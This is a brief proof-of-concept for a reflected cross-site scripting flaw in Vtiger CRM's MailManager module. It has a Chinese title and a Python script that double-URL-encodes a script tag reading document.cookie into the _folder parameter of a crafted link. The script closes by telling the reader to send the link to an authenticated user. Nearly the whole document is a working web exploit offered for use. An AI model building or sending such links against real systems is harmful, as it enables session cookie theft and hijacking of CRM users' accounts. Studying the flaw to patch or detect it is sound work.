CVE-2025-70936 Vtiger CRM反射型XSS漏洞

# PoC for CVE-2025-70936 # Reflected XSS in Vtiger CRM MailManager module via _folder parameter # Requires double URL encoding import urllib.parse # Malicious payload (JavaScript) payload = "<script>alert(document.cookie)</script>" # Step 1: First URL encode encoded_once = urllib.parse.quote(payload) # Step 2: Second URL encode (required for this vulnerability) encoded_twice = urllib.parse.quote(encoded_once) # Target URL structure (replace with actual host) target_host = "http://target-vtiger-site.com" vulnerable_path = "/index.php" params = { "module": "MailManager", "view": "Index", "_folder": encoded_twice } # Generate full PoC URL poc_url = f"{target_host}{vulnerable_path}?" + urllib.parse.urlencode(params) print(f"Payload: {payload}") print(f"Double Encoded Payload: {encoded_twice}") print(f"\nPoC Link:\n{poc_url}") print("\nSend this link to an authenticated user to trigger the XSS.")